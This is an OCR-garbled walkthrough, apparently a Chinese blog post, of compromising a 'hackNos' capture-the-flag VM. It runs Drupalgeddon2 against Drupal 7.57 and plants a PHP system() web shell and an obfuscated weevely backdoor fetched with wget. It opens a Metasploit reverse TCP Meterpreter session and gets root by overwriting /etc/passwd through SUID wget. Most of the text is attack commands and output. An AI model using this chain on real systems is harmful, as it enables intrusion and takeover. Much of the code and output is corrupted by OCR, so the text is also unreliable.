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:~# nmap -sV -p 0-65535 192.168.34.152
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-13 02:49 EST
Nmap scan report for 192.168.34.152
Host is up (0.0022s latency).
Not shown: 65534 closed ports
PORT  STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:F9:4E:C@ (Oracle VirtualBox virtual NIC)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/subm
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Nmap done: i EP address (1 host up) scanned in 34.24 seconds https//blog.csdn.netiqq, 419
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dirb http://192.168.34.152
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---- Scanning URL: http://192.168.34.152/ ---
==> DIRECTORY: http://192.168.34.152/drupal/
+ http://192.168.34.152/index.html (CODE:200|SIZE:11321)
+ http://192.168.34.152/server-status (CODE:403|SIZE:279)

---- Entering directory: http://192.168.34.152/drupal/ ----
==> DIRECTORY: http://192.168.34.152/drupal/includes/
+ http://192.168.34.152/drupal/index.php (CODE:200|SIZE:7687)
==> DIRECTORY: http://192.168.34.152/drupal/misc/
> DIRECTORY: http://192.168.34.152/drupal/iuduiesy
==> DIRECTORY: http://192.168.34.152/drupal/profiles/
+ http://192.168.34.152/drupal/robots.txt (CODE:200|SIZE:2189)
==> DIRECTORY: http://192.168.34.152/drupal/scripts/
==> DIRECTORY: http://192.168.34.152/drupal/sites/
==> DIRECTORY: http://192.168.34.152/drupal/themes/
+ http://192.168.34.152/drupal/web.config (CODE:200|SIZE:2200) -~
+ http://192.168.34.152/drupal/xmlrpc.php (CODE:200 |SIZE:Afps:/blog.csdn.net/qq_419°
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@ #& 192.168.34.152/drupal/ B e iy I @ ¢«
FxrE OsERL O =xEg [DE=W2 @ hitpy/192.168.34.15...

e Welcome to james
Username *

No front page content has been created yet.

Password *

* Create new account
+ Request new password

Log in

whatweb 192.168.34.152/drupal

# whatweb 192.168.34.152/drupal
[301 Moved Per ' 1, Country[RESERVED][ '], HTTPServer|
1, IP[192. 34.152], RedirectLocation[http://192.168.34.152/drupal/

11
], Title[301 Moved Permanently]

[200 OK] Apache| 1, Content Language([en], Country[RESERVED][ ], Drup
al, HTTPServer]| 11 9 34.152], JQuery, MetaGenerator[D' nal 7
1http //drupal.org)], PasswordField[pass], Scrlpt[fexfﬁj?f- pt], Title[Welcome to james | james
commonHeaders|[x-content-type-options,x-generator], X-Frame- Optlons[%AMEGPIbIN]

#

I 1 A1

%7 — T drupal 71l
THEANTH

git clone https://github.com/dreadlocked/Drupalgeddon2.git
HANHF, HHEIEAT.

./drupalgeddon2.rb http://192.168.34.152/drupal



[+] Found : http://192.168 2 (HTTP Response: 200)
[+] Drupal!: v7.57

Testing: Form (user/password)
[+] Result : Form valid
Testing: Clean URLs
] Result : Clean URLs disabled (HTTP Response: 404)
Isn't an issue for Drupal v7.x

Testing: Code Execution (Method: name)
Payload: echo BJRMDARU
[+] Result : BJRMDARU
[+] Good News Everyone! Target seems to be exploitable (Code execution)! wB8hooOO!

Testing: Existing file (http://192.168.34.152/drupal/shell.php)
] Response: HTTP 200 // Size: 5. ***Something could already be there?***

Testing: Writing To Web Root (./)

Payload: echo PD9waHAgaWYoIGlzc2VOKCAKX1IFUVVFUIRbI2ZMnXSApICkgeyBzeXNOZWOoICRTUKVRVUVTVFsnYyddIC4gl
AyPiY¥xJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $ REQUEST['c'] ) ) { system({ $ REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!

Fake PHP shell: curl 'http://192.168.34.152/drupal/shell.php’' -d 'c=hostname’
hackNos>> id
uid=33(www-data) gid=33(www-data) groups=33(www-data) https://blog.csdn.net/qq_419

HEAND, RIS,

hackNos>> echo <?php eval($ GET['cmd']);?> > 1.php
[!] WARNING: Detected an known bad character (=)

hackNos>> [

fi Fweevely £ B4~ /N5

weevely generate cmd ./xiaoma.php



# weevely generate cmd
./xiaoma.php' with password
# cat xiaoma.php

Generated

<?php

$B="kJ{$j}:}}returln $o0;J}if (@Ipreg matchlJ("/$kh(.+)$kf/",
oJb_JgJet contents();@ob_end] clealn("';

$S='x(@Jbalse64 decode(Jsm[1]),$k)))I;$

$r="RFvIvfbtvE2"; function Jx(J$tJ,$k){$Jc=Istrlen]($k);$Jl=strilen($t);J%0
$n="$kJ="d]fffea7f";$Jkh="ala5]5c)8clad9]1]"; $kf="616c1]9f6]dad52" ; $p="EL1]yx

$j=str_replace('T',
$u="tents("phlp://input”l), $ml
$K=');$JJIr=@basel64 encode(@lx

./xiaoma.php
‘cmd

of 688 byte size.

@lfille] get] con';

"', 'erTeat e funTction');
){@oJb_sJtart()J];
@gzcomlpressl(%0),J$k)]) ;print]("$pskhsrsIkT

@ev]lall(@Jgzuncomprelss(@'

$P=";1for($i=0;$i<$1;){ TJor{$]=J®;J{5j<$c&&$]i{5JJl};5j++,51++} {1$0.=5t{$iJ}]"

$q=str_replace(']’,
SV=$3("",%$q):8V();
7>

#1

1% F python#& 23 16 2 IR 55 %%, SR Eididwget N3k,

hackNos>> wget http://192.168.34.80:8000/xiaoma.php
--2019 -13 14:11:13-- http://192.168.3: : 8006/ xiaoma.phr
Connecting to 192.168.34.80:86000... connected.
HTTP request sent, awaiting response... 200 0K
Length: 688 [application/octet-stream]
Saving to: 'xiaoma.php.1l’
0K
2019-12-13 14:11:13 (139 MB/s) -

'xiaoma.php.1l' saved [688/6¢

hackNos>> []

BN

weevely http://192.168.34.152/drupal/xiaoma.php
# weevely http://192.16

[+]

[+]
[+]

[+]
[+]

weevely 3.7.0

192.168.
/root/.

34.152
weevely/

Target:
Session:

Browse the filesystem or execute
to the target. Type

weevely> id
uid=33(www-data) gid=33(www-data) grou
www-data@hackNos: /var/www/html/drupal

r:
s i

BURR ST

/sessions/19

"'$n.$r.$5P.$B.$u.$5.9K);

LI

@nguncomprelq (

sprint]("sp$kh$rsl

]
YL, 8N Sr.SP.$B.$u.$5.3K) ;

:~# python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
[13/Dec/2019 03:41:12] "GET /xiaoma.php HTTP/1.1" 280 -

192.168.
|

34.152 - -

cmd

8.34.152/drupal/xiaoma.php cmd

2.168.34.152/xiaoma_0.session

commands starts the connection
:help for more information.

3 (www-data)
htt

L) $j++,$i++){1$0.=$t{$11}1"$";




1 varimwww/html &30 17 —AN et

www - data@hackNos: /var/www/html ¢ pwd

/var/www/html

www-data@hackNos: /var/www/html $ cat alexander.txt

KysrKysgKysrKysgWy0+KysgKys rKysgKysrPFOgPisrKysgKysulS0gLS0tLSOgLSOuPCsgKytbLT4gKys rPFOgPisrKy4KLSOtLSBg
LSOtLjwgKysriwyBgPisrkKzwgXT4rKysgKysuPCsgKysrKysgKlstPiBgLS0tLS@gLTxdPiBgLSOtLSegLSOuPCsKKythLT4gKysrPFlg

PisrKysgKy48KysgKysriyOgPisrKysgKzxdPidgKysuKysgKysrKysgKy4tLS0gLSOtLjwgKys riwyOKPis rKzwgXT4rKysgKy48Kysg
KysrKysgWy0+LS0gLS0tLSOgPFO+LS4gPCsrK1sgLT4tLSOgPFB+LS0gLS4rLifgLSOtLisKKysuPA==
wwiw - dataghackNos: /var/www/hitml $ |

base64 4wty

echo KysrKysgKysrKysgWyo+KysgKysrKysgKysrPFOgPisrKysgKysulLS@gLSetLSegLSOuPCsgKytbLT4gKysrPFOgPisrKy4KLSOtLSOgLSe
tLjwgKysriy@gPisrKzwgXT4rKysgKysuPCsgKysrKysgKlstPiOgLSOtLSOgLTxdPifgLSOtLSOgLSOUPCsKKytbLT4gKysrPFOgPisrKysgKy4
8KysgKysriy@gPisrKysgKzxdPidgKysuKysgKysrKysgKy4tLSOgLSOtLjwgKysriWyOKPisrKzwgXT4rKysgKy48KysgKysrKysghy0+LS0gLSe
tLSOgPFO+LS4gPCsrK1sglLT4tLSOgPFO+LSOgLS4rLiogLSOtLiskKKysuPA== | base64 -d

:/# echo KysrKysgKysrKysgWyB+KysgKysrKysgKysrPFOgPisrKysgKysulS0gLSetLS0gLSOuPCsgKytbLT4gKysrP
FOgPisrKy4KLSOtLSOgLSOtL jwgKys riwy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgKlstPiOglLSOtLS0gLTxdPi0gLSetLSegLS0u
PCsKKytbLT4gKysrPFOgPisrKysgKy48KysgKys rivyBgPisrKysgKzxdPidgKysuKysgKysrkysgKy4tLSOgLSOtL jwgKys rivy@KPis
rkzwgXT4rKysgKy48KysgKys rKysgWy0+LS0gLS0tLSOgPFO+LS4gPCsrK1sgLT4tLSBgPFO+LSOgLS4rLiBgLSOtLisKKysuPA== |

base6d -d
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fifhid J5 febrainfuck, FEARRY
https://www.splitbrain.org/services/ook

All the hard work (like actually understanding how those langua,

and his Brainfuck interpreter in PHP

james: Hacker@ihld

Text to Qok! || Textto short Qck! | | Ookl to Text |
Text to Brainfuck | | Brainfuck to Text |

o
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132K 5 %05, ssh&FA L, pythonth ) #i Atty.

:/# ssh james@192.168.34.152

(EEEEEEEEEELEEELECEEEEEEEEEEEEEEEEEEEREROALECEEEEEEREEREEEEEEE
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
CEEEEEEEEEEEEEEEEECECECECECECECECECEEREEEEEEEEECECECEEEEEEE]
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fTingerprint for the ECDSA key sent by the remote host is
SHA256 : hXngPbMM4R/BRWkpJVUWY6BuURCJulK86bg2M0zFRgl5s.
Please contact your system administrator.
Add correct host key in /root/.ssh/known hosts to get rid of this message.
Offending ECDSA key in /root/.ssh/known hosts:3

remove with:

ssh-keygen -f "/root/.ssh/known hosts" -R "192.168.34.152"
ECDSA host key for 192.168.34.152 has changed and you have requested stric
Host key verification failed. htt log.csdn.ne

WWW - @hackNos:/var/www/himl § python -c "import pty;pty.spawn("/bin/b

sh: 1: python: not found

www-data@hackNos: /var/www/html $ python3 -c 'import pty;pty.spawn("/bin/bash")’
id

R A BAAABUR

audit_suidsgid -only-suid /

www—data@hackﬂos:?varfwwwfhtmlfdrupal ¢ audit suidsgid -only-suid /

+ +
| /usr/lib/dbus-1.08/dbus-daemon-launch-helper |
| /usr/lib/openssh/ssh-keysign |
| /usr/1lib/i386-1linux-gnu/1lxc/1lxc-user-nic |
| fusr/lib/eject/dmcrypt-get-device |
| /usr/lib/snapd/snap-confine |
| fusr/lib/policykit-1/polkit-agent-helper-1
| /fusr/bin/pkexec |
| /fusr/bin/at |
| /usr/bin/newgidmap |
| /usr/bin/gpasswd |
| /fusr/bin/sudo |
| /fusr/bin/newgrp |
| /usr/bin/newuidmap |
| /fusr/bin/wget |
| /fusr/bin/passwd |
| /usr/bin/chsh |
| /usr/bin/chfn |
| |
| |

/bin/ping6
/bin/umount
/bin/ntfs-3g

og.csdn.net/qg_4191




Hwget. #E#E S LI /etc/passwd A

:~# openssl passwd -1 -salt salt test

$1$salt$NoﬁgqynaE4urTajS[sQlFf
:~# echo 'test:$1$salt$NobgqynaE4urT3jScs91F/:0:0::/root/:/bin/bash' >> /root/Desktop/passwd
:~# cd Desktop/

# python3 -m http server 1023
Serving HTTP on 0.0.0.0 port 1023 (http://0.0.0.0:1023/) .
192.168.34.152 - - [13/Dec/2019 04:15:19] "GET ;pdsswd HTTP;I 1" 260 -

www-data@hackNos:/tmp $ wget http://192.168.34.80:1023/passwd -0 /etc/passwd
--2019-12-13 14:45:20-- http://192.168.34.80:1023/passwd

Connecting to 192.168.34.80:1023... connected.

HTTP request sent, awaiting response... 200 0K

Length: 2854 (2.8K) [application/octet-stream]

Saving to: '/etc/passwd’

oK .. 100% 5.97M=0s

i msf, S

#T 7 msfconsole.

msf5 exploift( ) > set RHOSTS 192.168.34.152
RHOSTS == 192.168.34.152

msf5 exploit( ) > set TARGETURI /drupal
TARGETURI => /drupal

msf5 exploit( ) > run

Started reverse TCP handler on 192.168.34.80:4444

Sending stage (38288 bytes) to 192.168.34.152

Meterpreter session 1 opened (192.168.34.80:4444 -> 192.168.34.152:60140) at 2019-12-13 04:08:45 -0
500

mete rp reter >
meterpreter > i hitps://blog.csdn.netiqg_41

python3 -c ‘'import pty;pty.spawn("/bin/bash")"’

meterpreter > shell

Process 2017 created.

Channel 1 created.

python3 -c 'import pty;pty.spawn("/bin/bash”)’
www-data@hackNos: /var/www/html/drupals

www -data@hackNos: /var/www/html/drupals i




www-data@hackNos:/var/www/html/drupal$ su test
su test
Password: test

root@hackNos: /var/www/html/drupal# |

MWK K —ilE = 38, FLEBELD, XA
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